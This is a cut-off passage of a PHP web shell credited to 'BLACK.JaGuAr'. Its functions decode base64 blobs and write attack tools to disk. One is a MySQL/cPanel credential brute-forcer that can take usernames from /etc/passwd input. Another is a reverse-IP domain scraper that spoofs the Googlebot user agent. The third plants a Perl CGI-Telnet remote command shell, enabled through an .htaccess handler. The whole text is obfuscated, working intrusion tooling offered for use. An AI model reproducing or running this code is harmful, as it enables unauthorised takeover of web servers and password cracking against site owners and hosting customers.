$cp1 = 'PD9waHAKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwplY2hvICcKPGhlYWQ+Cgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0tCmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsKICAgIGZvbnQtc2l6ZTogMThweDsKCWNvbG9yOiAjY2NjY2NjOwp9CmlucHV0LHRleHRhcmVhLHNlbGVjdHsKZm9udC13ZWlnaHQ6IGJvbGQ7CmNvbG9yOiAjY2NjY2NjOwpkYXNoZWQgI2ZmZmZmZjsKYm9yZGVyOiAxcHgKc29saWQgIzJDMkMyQzsKYmFja2dyb3VuZC1jb2xvcjogIzA4MDgwOAp9CmEgewoJYmFja2dyb3VuZC1jb2xvcjogIzE1MTUxNTsKCXZlcnRpY2FsLWFsaWduOiBib3R0b207Cgljb2xvcjogIzAwMDsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKCWZvbnQtc2l6ZTogMjBweDsKCW1hcmdpbjogOHB4OwoJcGFkZGluZzogNnB4OwoJYm9yZGVyOiB0aGluIHNvbGlkICMwMDA7Cn0KYTpob3ZlciB7CgliYWNrZ3JvdW5kLWNvbG9yOiAjMDgwODA4OwoJdmVydGljYWwtYWxpZ246IGJvdHRvbTsKCWNvbG9yOiAjMzMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwoJZm9udC1zaXplOiAyMHB4OwoJbWFyZ2luOiA4cHg7CglwYWRkaW5nOiA2cHg7Cglib3JkZXI6IHRoaW4gc29saWQgIzAwMDsKfQouc3R5bGUxIHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQouc3R5bGUyIHsKCWNvbG9yOiAjRkZGRkZGOwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLnN0eWxlMyB7Cgljb2xvcjogI0ZGRkZGRjs
KfQotLT4KPC9zdHlsZT4KCjwvaGVhZD4KJzsKZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZhbHVlLCRjaGVja2VkPTApIAp7CiRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7aWYoJHNpemUgIT0gMCkgCnsKJHJldCAuPSAic2l6ZT0iLiRzaXplLiIgIjt9CiRyZXQgLj0gInZhbHVlPVwiIi4kdmFsdWUuIlwiIjtpZigkY2hlY2tlZCkgJHJldCAuPSAiIGNoZWNrZWQiO3JldHVybiAkcmV0LiI+Ijt9CmVjaG8gIjxicj48dGl0bGU+QnJ1dGUgRm9yY2UgQnkgQkxBQ0suSmFHdUFyPC90aXRsZT48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsKZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTtlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7ZWNobyBpbignaGlkZGVuJywnZGJfcG9ydCcsMCwkX1BPU1RbJ2RiX3BvcnQnXSk7ZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7ZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7ZWNobyBpbignaGlkZGVuJywnbXlzcWxfZGInLDAsJF9QT1NUWydteXNxbF9kYiddKTtlY2hvIGluKCdoaWRkZW4nLCdjY2NjJywwLCdkYl9xdWVyeScpOwoKaWYoJF9QT1NUWydwYWdlJ109PSdmaW5kJykKewppZihpc3NldCgkX1BPU1RbJ3VzZXJuYW1lcyddKSAmJmlzc2V0KCRfUE9TVFsncGFzc3dvcmRzJ10pKQ
p7CmlmKCRfUE9TVFsndHlwZSddID09ICdwYXNzd2QnKXsKJGUgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VybmFtZXMnXSk7CmZvcmVhY2goJGUgYXMgJHZhbHVlKXsKJGsgPSBleHBsb2RlKCI6IiwkdmFsdWUpOwokdXNlcm5hbWUgLj0gJGtbJzAnXS4iICI7Cn0KfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7CiR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOwp9CiRhMSA9IGV4cGxvZGUoIiAiLCR1c2VybmFtZSk7CiRhMiA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3Bhc3N3b3JkcyddKTsKJGlkMiA9IGNvdW50KCRhMik7CiRvayA9IDA7CmZvcmVhY2goJGExIGFzICR1c2VyICkKewppZigkdXNlciAhPT0gJycpCnsKJHVzZXI9dHJpbSgkdXNlcik7CmZvcigkaT0wOyRpPD0kaWQyOyRpKyspCnsKJHBhc3MgPSB0cmltKCRhMlskaV0pOwppZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlciwkcGFzcykpCnsKZWNobyAiQkxBQ0t+IHVzZXIgaXMgKDxiPjxmb250IGNvbG9yPWdyZWVuPiR1c2VyPC9mb250PjwvYj4pIFBhc3N3b3JkIGlzICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kcGFzczwvZm9udD48L2I+KTxiciAvPiI7CiRvaysrOwp9Cn0KfQp9CmVjaG8gIjxocj48Yj5Zb3UgRm91bmQgPGZvbnQgY29sb3I9Z3JlZW4+JG9rPC9mb250PiBDcGFuZWwgQnkgQkxBQ0sgU2NyaXB0IE5hbWU8L2I+IjsKZWNobyAiPGNlbnRlcj48Yj48YSBocmVmP
SIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiI7CmV4aXQ7Cn0KfQo7ZWNobyAnCgoKCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPgoJPHN0cm9uZz4KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPiAgICAgICAgCQkJCQogICAgPC9zdHJvbmc+CiAgICA8dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogICAgPHRyPgogICAgICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PGNlbnRlcj48YnI+CgkJPC9zdHJvbmc+CgkJPGEgaHJlZj0iaHR0cDovL3d3dy5mYWNlYm9vay5jb20vYmxhY2suamFndWFyLjc1IiBjbGFzcz0ic3R5bGUyIj48c3Ryb25nPkRldmVsb3BlZCBCeSAKPGZvbnQgY29sb3I9IiNGRjAwMDAiPkJMQUNLLkphR3VBcjwvZm9udD48L3N0cm9uZz48L2E+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjwvY2VudGVyPjwvdGQ+PC9mb250PgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZD4KICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+VXNlciA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2
YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNDAiIHJvd3M9IjEwIiBuYW1lPSJ1c2VybmFtZXMiPjwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPHN0cm9uZz5QYXNzIDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjx0ZXh0YXJlYSBjb2xzPSI0MCIgcm93cz0iMTAiIG5hbWU9InBhc3N3b3JkcyI+PC90ZXh0YXJlYT48L3N0cm9uZz48L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMiIgc3R5bGU9IndpZHRoOiAxMzlweCI+Cgk8c3Ryb25nPlR5cGUgOjwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgogICAgPHNwYW4gY2xhc3M9InN0eWxlMiI+PHN0cm9uZz5TaW1wbGUgOiA8L3N0cm9uZz4gPC9zcGFuPgoJPHN0cm9uZz4KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InNpbXBsZSIgY2hlY2tlZD0iY2hlY2tlZCIgY2xhc3M9InN0eWxlMyI+PC9zdHJvbmc+CiAgICA8Zm9udCBjbGFzcz0ic3R5bGUyIj48c3Ryb25
nPi9ldGMvcGFzc3dkIDogPC9zdHJvbmc+IDwvZm9udD4KCTxzdHJvbmc+Cgk8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InR5cGUiIHZhbHVlPSJwYXNzd2QiIGNsYXNzPSJzdHlsZTMiPjwvc3Ryb25nPjxzcGFuIGNsYXNzPSJzdHlsZTMiPjxzdHJvbmc+Cgk8L3N0cm9uZz4KCTwvc3Bhbj4KICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdGFydCI+CiAgICA8L3N0cm9uZz4KICAgIDwvdGQ+CiAgICA8dHI+CjwvZm9ybT4gICAgCiAgICAKICAgIAogICAKJzsKaWYoJF9QT1NUWydhdHQnXT09bnVsbCkKewplY2hvICcJCQkJCQkgJzsKfWVsc2V7CmVjaG8gIgkJCQkJCSAKCQkJCQkJIAoiOwp9';
$file = fopen("cpanel.php" ,"w+");
$file = fopen("cpanel.php" ,"w+");
$write = fwrite ($file ,base64_decode($cp1));
fclose($file);
echo '<iframe src="cpanel.php" style="height:500px; width:1500px; border:0px;" name="brute">';
yemenfooter();
}
function yemenrev()
{
$reverse = 'PGh0bWw+CjxoZWFkPgo8dGl0bGU+cmV2ZXJzZSBJUCBieSBCTEFDSy5KYUd1QXIgPC90aXRsZT4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMSI+CjwvaGVhZD4KCjw/cGhwCgoKCi8vRWRpdCBieSBCTEFDSy5KYUd1QXIKc2V0X3RpbWVfbGltaXQoMCk7CgoJCgllcnJvcl9yZXBvcnRpbmcoMCk7CgkvL2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIm9uIik7CiAgICAKCgoKICAgIAogICAgZWNobycKICAgIDxwIGFsaWduPSJjZW50ZXIiPjxiPjxmb250IGNvbG9yPSIjMDAwMEZGIj5Db2RlZDwvZm9udD48L2I+IAoJPGZvbnQgY29sb3I9IiNGRkZGRkYiPmJ5PC9mb250PgoJPGI+Cgk8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+QkxBQ0suSmFHdUFyPC9mb250PjwvYj48L3A+CiAgICA8Y2VudGVyPjxmb3JtIGFjdGlvbj0iIiBuYW1lPSJmcm0xIiBtZXRob2Q9IkdFVCI+PGZvbnQgZmFjZT0iQXJpYWwiIHNpemU9IjQiIGNvbG9yPSIjODAwMDAwIj48Qj5Eb21haW46PC9mb250PjwvQj4gCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzIiBjbGFzcz0idGV4dGEiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSZXZlcnNlIGl0ISIgbmFtZT0ic3VibWl0IiBjbGFzcz0iZ3Jvb3Z5YnV0dG9uIi8+CjxiciAvPjxicj4KPGJyPgo8L2Zvcm0+PC9jZW50ZXI+JzsKCWlmIChpc3NldCgkX0dFVFsncyddKSkKCXsKCQkkZCA9IHVybGRlY29kZSg
kX0dFVFsncyddKTsKCgkJaWYgKHByZWdfbWF0Y2goIi9eaHR0cDpcL1wvKFxTKylcLz8vIiwgJGQpID4gMCkKCQl7CgkJCSRkID0gcHJlZ19yZXBsYWNlKCIvXmh0dHA6XC9cLyguKykvIiwgIlxcMSIsICRkKTsKCQkJJGQgPSBzdHJfcmVwbGFjZSgnLycsbnVsbCwkZCk7CgkJfQoKCQlpZiAocHJlZ19tYXRjaCgiL1x3K1wuXHcrLyIsICRkKSAhPSAwKQoJCXsKCQkJLy8gQ2hlY2sgZm9yIGEgdmFsaWQgSVAgQWRkcmVzcywgaWYgaXQgd2Fzbid0IGVudGVyZWQsIHRyeSB0byBsb29rIGl0IHVwIGFzIGEgaG9zdG5hbWUKCQkJaWYgKHByZWdfbWF0Y2goIi9cZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9LyIsICRkKSA9PSAxKQoJCQl7CgkJCQkkaXAgPSAkZDsKCQkJfSBlbHNlIHsKCQkJCSRpcCA9IGdldGhvc3RieW5hbWUoJGQpOwoJCQl9CgkJCWlmIChwcmVnX21hdGNoKCIvXGR7MSwzfVwuXGR7MSwzfVwuXGR7MSwzfVwuXGR7MSwzfS8iLCAkaXApID09IDApCgkJCXsKCQkJCWVjaG8gIjxmb250IGNvbG9yPSNGRkZGRkY+Q291bGQgbm90IHJlc29sdmUgJGQgdG8gYW4gSVAgQWRkcmVzczwvZm9udD4iOwoJCQkJZXhpdDsKCQkJfQoJCQkkYWxsRG9tYWlucyA9IGdldEFsbERvbWFpbnNGcm9tU2VhcmNoKCJodHRwOi8vd3d3LmJpbmcuY29tL3NlYXJjaD9xPWlwJTNBJGlwJmZpcnN0PTEiLCAwKTsKCQkJZWNobyAiPHRhYmxlIGJvcmRlcj0xPiI7CiRjPTA7CgkJCQlmb3JlYWNoKCRhbGxEb21haW5zIGFzIC
RkKQoJCQkJewokYysrOwp9CgplY2hvICI8Zm9udCBjb2xvcj1yZWQ+Q2h1bmcgdGEgY28gPGI+PGZvbnQgY29sb3I9eWVsbG93Pjxmb250IHNpemU9Mz4iLiRjLiI8L2ZvbnQ+PC9mb250PjwvYj4gd2Vic2l0ZXMgdHJlbiBzZXJ2ZXIgPGI+PGJyPjxmb250IGNvbG9yPXJlZD48Zm9udCBzaXplPTM+Ii4kaXAuIjxicj48L2I+PHA+PC9mb250PjwvZm9udD48L2ZvbnQ+IjsKCQkJJGMgPSAwOwoKCgkJCWlmICghaXNzZXQoJF9HRVRbJ2NvbXBhY3QnXSkpCgkJCXsKCQkJCWZvcmVhY2goJGFsbERvbWFpbnMgYXMgJGQpCgkJCQl7CgkJCQkgCSRjKys7CgkJCQkgCSRlc2QgPSBwcmVnX3JlcGxhY2UoIi9cLi8iLCAiXyIsICRkKTsKCQkJCQllY2hvICI8dHI+PHRkPiRjLjwvdGQ+PHRkPjxhIHRhcmdldD1cIl9ibGFua1wiIGhyZWY9XCJodHRwOi8vJGQvXCI+PGZvbnQgY29sb3I9MDBGRjAwPiRkPC9mb250PjwvYT48L2ZvbnQ+PC90ZD4iOwoJCQkJCWVjaG8gIjx0ZCBzdHlsZT1cImRpc3BsYXk6IG5vbmVcIiBjb2xzcGFuPSczJyBpZD1cIndfJGVzZFwiIGJnY29sb3I9XCIjREVERURFXCI+PHRkPiI7CgppZihpc3NldCgkX0dFVFsnYzJuZCddKSkKewokaXB0aHVjPWdldGhvc3RieW5hbWUoJGQpOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+SVA6PC9mb250Pjxmb250IGNvbG9yPSNGRkZGRkY+Ii4kaXB0aHVjOwppZigkaXA8PiRpcHRodWMpCnsKZWNobyAiPC9mb250Pjxmb250IGNvbG9yPXJlZD49PT48Yj5Nb3ZlZCAhPC9iP
jwvZm9udD4iLiI8L3RkPiI7Cn0KZWxzZQp7CmVjaG8gIjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj49PT48Yj5PSzwvYj48L2ZvbnQ+Ii4iPC90ZD4iOwp9Cn0KCQkJCX0KCQkJCWVjaG8gIjwvdHI+PC90YWJsZT4iOwoJCQl9IGVsc2UgewoJCQkJZm9yZWFjaCAoJGFsbERvbWFpbnMgYXMgJGQpCgkJCQl7CgkJCQkJZWNobyAiJGQ8YnIgLz4iOwoJCQkJfQoJCQl9CgkJfSBlbHNlIHsKCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkRvbWFpbiBob2FjIGlwIHNhaTogJGQ8L2ZvbnQ+IjsKCQl9Cgl9CmZ1bmN0aW9uIGdldEFsbERvbWFpbnNGcm9tU2VhcmNoKCR1cmwsICRtYXhQYWdlcykKewoJJG1heFBhZ2VzID0gKCRtYXhQYWdlcyA9PSAwKSA/IDk5OSA6ICRtYXhQYWdlczsKCSRhbGxSZXN1bHRQYWdlcyA9IGFycmF5KCk7CgkkZmluaXNoZWRQYWdlcyA9YXJyYXkoKTsKCSRhbGxSZXN1bHRQYWdlc1tdPSR1cmw7CgkkYWxsRG9tYWlucyA9IGFycmF5KCk7CgkkYyA9IDA7CgkKCWRvIHsKCQkkYysrOwoKCQkKCQlpZiAoIWVtcHR5KCRhbGxSZXN1bHRQYWdlcykpCgkJewoJCQkvL3Zhcl9kdW1wKCRhbGxSZXN1bHRQYWdlcyk7CgkJCSRyZXN1bHRzID0gZG9SZXN1bHRzUGFnZSgkYWxsUmVzdWx0UGFnZXNbMF0pOwkKCQkJCgkJCWZvcmVhY2ggKCRyZXN1bHRzWydkb21haW5zJ10gYXMgJGQpCgkJCXsKCQkJCSRhbGxEb21haW5zW109JGQ7CgkJCX0KCQkJCgkJCSRmaW5pc2hlZFBhZ2VzW109JGFsbFJlc3VsdFBhZ2VzWzBd
OwoJCQkKCQkJJGFsbFJlc3VsdFBhZ2VzID0gJHJlc3VsdHNbJ3Jlc3VsdFBhZ2VzJ107CgkJCSRuZXdQYWdlcz1hcnJheSgpOwoJCQlmb3JlYWNoKCRhbGxSZXN1bHRQYWdlcyBhcyAkaz0+JHYpCgkJCXsKCQkJCWlmICghaW5fYXJyYXkoJHYsICRmaW5pc2hlZFBhZ2VzKSkKCQkJCXsKCQkJCQkkbmV3UGFnZXNbXT0kdjsKCQkJCX0KCQkJfQoJCQkkYWxsUmVzdWx0UGFnZXMgPSAkbmV3UGFnZXM7CgkJCS8vJGFsbFJlc3VsdFBhZ2VzID0gYXJyYXlfdW5pcXVlKCRhbGxSZXN1bHRQYWdlcyk7CgkJCQkJCQoJCQkvL2VjaG8gIkZpbmlzaGVkIHBhcnNpbmcgJHVybDxiciAvPiI7CgkJfQkKCX0gd2hpbGUgKCFlbXB0eSgkYWxsUmVzdWx0UGFnZXMpICYmICRjIDwgJG1heFBhZ2VzKTsKCXJldHVybiBhcnJheV91bmlxdWUoJGFsbERvbWFpbnMpOwp9CgpmdW5jdGlvbiBkb1Jlc3VsdHNQYWdlKCR1cmwpCnsKCQoJJHVybCA9IHByZWdfcmVwbGFjZSgiLyZhbXA7LyIsICImIiwgJHVybCk7CgkkYm9keSA9IGRpc2d1aXNlX2N1cmwoJHVybCk7CgkKCSRzdWJzID0gYXJyYXkoKTsKCQoJcHJlZ19tYXRjaF9hbGwoIi9cL3NlYXJjaFw/cT1pcCUzQVxkezEsM31cLlxkezEsM31cLlxkezEsM31cLlxkezEsM30mYW1wO2ZpcnN0PVxkezIsM30vaSIsICRib2R5LCAkc3Vicyk7CgkKCQoJZm9yZWFjaCAoJHN1YnNbMF0gYXMgJGsgPT4gJHYpCgl7CgkJJHN1YnNbJGtdID0gImh0dHA6Ly93d3cuYmluZy5jb20iIC4gJHY7Cgl9CgoJJHJ
lc3VsdFBhZ2VzID0gYXJyYXlfdW5pcXVlKCRzdWJzKTsKCQoJJGJvZHlwYXJ0cyA9IHByZWdfc3BsaXQoIi9jbGFzcz1cInNiX21ldGFcIj48Y2l0ZT4vIiwgJGJvZHkpOwoKCSRib2R5cGFydHMgPSBhcnJheV9yZXZlcnNlKCRib2R5cGFydHMpOwoJYXJyYXlfcG9wKCRib2R5cGFydHMpOwoJCglmb3JlYWNoICgkYm9keXBhcnRzIGFzICRrID0+ICR2KQoJewoJCSRib2R5cGFydHNbJGtdID0gc3Vic3RyKCR2LCAwLCBzdHJpcG9zKCR2LCAiPC9jaXRlPiIpKTsKCQlpZiAoc3RycG9zKCRib2R5cGFydHNbJGtdLCAiLyIpID09PSBmYWxzZSkKCQl7CgkJCQoJCX0gZWxzZSB7CgkJCSRib2R5cGFydHNbJGtdID0gc3Vic3RyKCRib2R5cGFydHNbJGtdLCAwLCBzdHJwb3MoJGJvZHlwYXJ0c1ska10sICIvIikpOwoJCX0KCQkkYm9keXBhcnRzWyRrXSA9IHN0cnRvbG93ZXIoJGJvZHlwYXJ0c1ska10pOwoJfQoJCglyZXR1cm4gQXJyYXkoInJlc3VsdFBhZ2VzIiA9PiAkcmVzdWx0UGFnZXMsICJkb21haW5zIiA9PiAkYm9keXBhcnRzKTsKfQoKCgkKCWZ1bmN0aW9uIGRpc2d1aXNlX2N1cmwoJHVybCkKewogICRjdXJsID0gY3VybF9pbml0KCk7CgogIC8vIFNldHVwIGhlYWRlcnMgLSBJIHVzZWQgdGhlIHNhbWUgaGVhZGVycyBmcm9tIEZpcmVmb3ggdmVyc2lvbiAyLjAuMC42CiAgLy8gYmVsb3cgd2FzIHNwbGl0IHVwIGJlY2F1c2UgcGhwLm5ldCBzYWlkIHRoZSBsaW5lIHdhcyB0b28gbG9uZy4gOi8KICAkaGVhZGVyWzBdID
0gIkFjY2VwdDogdGV4dC94bWwsYXBwbGljYXRpb24veG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCwiOwogICRoZWFkZXJbMF0gLj0gInRleHQvaHRtbDtxPTAuOSx0ZXh0L3BsYWluO3E9MC44LGltYWdlL3BuZywqLyo7cT0wLjUiOwogICRoZWFkZXJbXSA9ICJDYWNoZS1Db250cm9sOiBtYXgtYWdlPTAiOwogICRoZWFkZXJbXSA9ICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlIjsKICAkaGVhZGVyW10gPSAiS2VlcC1BbGl2ZTogMzAwIjsKICAkaGVhZGVyW10gPSAiQWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNyI7CiAgJGhlYWRlcltdID0gIkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW47cT0wLjUiOwogICRoZWFkZXJbXSA9ICJQcmFnbWE6ICI7IC8vIGJyb3dzZXJzIGtlZXAgdGhpcyBibGFuay4KCiAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkdXJsKTsKICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdHb29nbGVib3QvMi4xICgraHR0cDovL3d3dy5nb29nbGUuY29tL2JvdC5odG1sKScpOwogIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hUVFBIRUFERVIsICRoZWFkZXIpOwogIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFRkVSRVIsICdodHRwOi8vd3d3Lmdvb2dsZS5jb20nKTsKICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9FTkNPRElORywgJ2d6aXAsZGVmbGF0ZScpOwogIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX
0FVVE9SRUZFUkVSLCB0cnVlKTsKICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVElNRU9VVCwgMTApOwoKICAkaHRtbCA9IGN1cmxfZXhlYygkY3VybCk7IC8vIGV4ZWN1dGUgdGhlIGN1cmwgY29tbWFuZAogIGN1cmxfY2xvc2UoJGN1cmwpOyAvLyBjbG9zZSB0aGUgY29ubmVjdGlvbgoKICByZXR1cm4gJGh0bWw7IC8vIGFuZCBmaW5hbGx5LCByZXR1cm4gJGh0bWwKfQoKCj8+PGJvZHkgYmdjb2xvcj0iIzAwMDAwMCI+';
$file = fopen("rev.php" ,"w+");
$write = fwrite ($file ,base64_decode($reverse));
fclose($file);
yemenhead();
echo '<iframe src="rev.php" style="height:500px; width:500px; border:0px;" name="reverse">';
yemenfooter();
}
function yemenperl()
{
mkdir('cgirun', 0755);
chdir('cgirun');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("khong the tao shell!");
$metin = "AddHandler cgi-script .pr";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgico = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQ29weXJpZ2h0IGFuZCBMaWNlbmNlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDR0ktVGVsbmV0IFZlcnNpb24gMS4wIGZvciBOVCBhbmQgVW5peCA6IFJ1biBDb21tYW5kcyBvbiB5b3VyIFdlYiBTZXJ2ZXIKIwojIENvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhCiMgUGVybWlzc2lvbiBpcyBncmFudGVkIHRvIHVzZSwgZGlzdHJpYnV0ZSBhbmQgbW9kaWZ5IHRoaXMgc2NyaXB0IHNvIGxvbmcKIyBhcyB0aGlzIGNvcHlyaWdodCBub3RpY2UgaXMgbGVmdCBpbnRhY3QuIElmIHlvdSBtYWtlIGNoYW5nZXMgdG8gdGhlIHNjcmlwdAojIHBsZWFzZSBkb2N1bWVudCB0aGVtIGFuZCBpbmZvcm0gbWUuIElmIHlvdSB3b3VsZCBsaWtlIGFueSBjaGFuZ2VzIHRvIGJlIG1hZGUKIyBpbiB0aGlzIHNjcmlwdCwgeW91IGNhbiBlLW1haWwgbWUuCiMKIyBBdXRob3IgOiBSb2hpdGFiIEJhdHJhCiMgRWRpdG9yIDogQkxBQ0suSmFHdUFyCiMgQXV0aG9yIGUtbWFpbDogcm9oaXRhYkByb2hpdGFiLmNvbQojIEVkaXRvciBlLW1haWw6IEJnX0Bob3RtYWlsLmNvbQojIEF1dGhvciBIb21lcGFnZTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS8KIyBFZGlyb2UgSG9tZXBhZ2U6IGh0dHA6Ly93d3cuYWxqeXlvc2guY29tLwojIFNjcmlwdCBIb21lcGFnZTogbWFpbHRvOkJnX0Bob3RtYWlsLmNvbQojIFByb2R1Y3QgU3VwcG9ydDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9zdXBwb3J0LwojIERpc2N1c3Npb24gRm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3Vzcy8KIyBNYWlsaW5nIExpc3Q6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBJbnN0YWxsYXRpb24KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRvIGluc3RhbGwgdGhpcyBzY3JpcHQKIwojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uCiMgICAgeW91ciBzZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMuCiMgMi4gQ2hhbmdlIHRoZSBwYXNzd29yZCBpbiB0aGUgQ29uZmlndXJhdGlvbiBzZWN0aW9uIGJlbG93LgojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwgc2V0ICRXaW5OVCA9IDEgaW4gdGhlCiMgICAgQ29uZmlnd